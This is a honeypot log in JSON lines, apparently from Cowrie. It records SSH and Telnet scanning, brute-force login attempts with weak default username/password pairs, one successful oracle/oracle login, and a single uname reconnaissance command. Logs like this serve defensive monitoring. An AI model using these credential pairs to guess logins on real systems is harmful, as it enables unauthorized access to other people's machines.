{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":32330,"dst_ip":"10.17.0.5","dst_port":22,"session":"9bdb8e780c2e","protocol":"ssh","message":"New connection: 194.59.206.2:32330 (10.17.0.5:22) [session: 9bdb8e780c2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:53.282228Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:53.531910Z","src_ip":"192.109.200.78","session":"f5916d3d9d03","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:54.096778Z","src_ip":"194.59.206.2","session":"9bdb8e780c2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:54.101308Z","src_ip":"194.59.206.2","session":"9bdb8e780c2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:55.628962Z","src_ip":"194.59.206.2","session":"9bdb8e780c2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":34188,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4f89dce7b0c","protocol":"ssh","message":"New connection: 192.109.200.78:34188 (10.17.0.5:22) [session: e4f89dce7b0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:55.737132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:55.743993Z","src_ip":"192.109.200.78","session":"e4f89dce7b0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:55.938958Z","src_ip":"192.109.200.78","session":"e4f89dce7b0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@wsx","message":"login attempt [root/1qaz@wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:56.243601Z","src_ip":"192.109.200.78","session":"e4f89dce7b0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":59190,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c8b6ec2a63b","protocol":"telnet","message":"New connection: 206.189.71.75:59190 (159.203.135.109:23) [session: 0c8b6ec2a63b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:56.880650Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:57.329809Z","src_ip":"192.109.200.78","session":"e4f89dce7b0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":59212,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b8be3a17f00","protocol":"telnet","message":"New connection: 206.189.71.75:59212 (159.203.135.109:23) [session: 6b8be3a17f00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:57.929253Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":54856,"dst_ip":"10.17.0.5","dst_port":22,"session":"416a8d0f216a","protocol":"ssh","message":"New connection: 192.109.200.78:54856 (10.17.0.5:22) [session: 416a8d0f216a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:59.973341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:59.982649Z","src_ip":"192.109.200.78","session":"416a8d0f216a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:00.070229Z","src_ip":"192.109.200.78","session":"416a8d0f216a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"1","message":"login attempt [deploy/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:00.342259Z","src_ip":"192.109.200.78","session":"416a8d0f216a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:01.430498Z","src_ip":"192.109.200.78","session":"416a8d0f216a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.0.174.194","src_port":58412,"dst_ip":"10.17.0.5","dst_port":23,"session":"092ed44240fe","protocol":"telnet","message":"New connection: 154.0.174.194:58412 (10.17.0.5:23) [session: 092ed44240fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:01.803599Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":54868,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c1c1fbb9096","protocol":"ssh","message":"New connection: 192.109.200.78:54868 (10.17.0.5:22) [session: 0c1c1fbb9096]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:05.324092Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:05.329574Z","src_ip":"192.109.200.78","session":"0c1c1fbb9096","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:05.414321Z","src_ip":"192.109.200.78","session":"0c1c1fbb9096","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123456","message":"login attempt [user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:05.681093Z","src_ip":"192.109.200.78","session":"0c1c1fbb9096","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:06.776960Z","src_ip":"192.109.200.78","session":"0c1c1fbb9096","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.0.174.194","src_port":53548,"dst_ip":"10.17.0.5","dst_port":23,"session":"74f3ef93757f","protocol":"telnet","message":"New connection: 154.0.174.194:53548 (10.17.0.5:23) [session: 74f3ef93757f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:06.935622Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":38640,"dst_ip":"159.203.135.109","dst_port":23,"session":"912bb775ab92","protocol":"telnet","message":"New connection: 206.189.71.75:38640 (159.203.135.109:23) [session: 912bb775ab92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:06.943941Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55072,"dst_ip":"10.17.0.5","dst_port":22,"session":"5cd3dde2a8e3","protocol":"ssh","message":"New connection: 192.109.200.78:55072 (10.17.0.5:22) [session: 5cd3dde2a8e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:08.346067Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:08.496835Z","src_ip":"192.109.200.78","session":"5cd3dde2a8e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:08.500725Z","src_ip":"192.109.200.78","session":"5cd3dde2a8e3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle","message":"login attempt [oracle/oracle] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:08.899359Z","src_ip":"192.109.200.78","session":"5cd3dde2a8e3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:09.121391Z","src_ip":"192.109.200.78","session":"5cd3dde2a8e3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:09.125126Z","src_ip":"192.109.200.78","session":"5cd3dde2a8e3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:09.212955Z","src_ip":"192.109.200.78","session":"5cd3dde2a8e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:09.218187Z","src_ip":"192.109.200.78","session":"5cd3dde2a8e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.0.174.194","src_port":53550,"dst_ip":"10.17.0.5","dst_port":23,"session":"3242dda2b138","protocol":"telnet","message":"New connection: 154.0.174.194:53550 (10.17.0.5:23) [session: 3242dda2b138]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:11.366723Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":42290,"dst_ip":"159.203.135.109","dst_port":23,"session":"2829195ba25c","protocol":"telnet","message":"New connection: 206.189.71.75:42290 (159.203.135.109:23) [session: 2829195ba25c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:11.602616Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55084,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d003abab0ad","protocol":"ssh","message":"New connection: 192.109.200.78:55084 (10.17.0.5:22) [session: 6d003abab0ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:12.596183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:12.601218Z","src_ip":"192.109.200.78","session":"6d003abab0ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.0.174.194","src_port":53556,"dst_ip":"10.17.0.5","dst_port":23,"session":"65cf4945c132","protocol":"telnet","message":"New connection: 154.0.174.194:53556 (10.17.0.5:23) [session: 65cf4945c132]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:12.666014Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:12.686885Z","src_ip":"192.109.200.78","session":"6d003abab0ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vm","password":"vm","message":"login attempt [vm/vm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:12.939413Z","src_ip":"192.109.200.78","session":"6d003abab0ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:14.133009Z","src_ip":"192.109.200.78","session":"6d003abab0ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55086,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3eba845eace","protocol":"ssh","message":"New connection: 192.109.200.78:55086 (10.17.0.5:22) [session: b3eba845eace]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:16.848340Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:16.853438Z","src_ip":"192.109.200.78","session":"b3eba845eace","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:16.940548Z","src_ip":"192.109.200.78","session":"b3eba845eace","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"john","password":"john","message":"login attempt [john/john] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:17.198165Z","src_ip":"192.109.200.78","session":"b3eba845eace","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:18.293094Z","src_ip":"192.109.200.78","session":"b3eba845eace","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49970,"dst_ip":"10.17.0.5","dst_port":22,"session":"ddeafe12b972","protocol":"ssh","message":"New connection: 192.109.200.78:49970 (10.17.0.5:22) [session: ddeafe12b972]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:20.933789Z"}
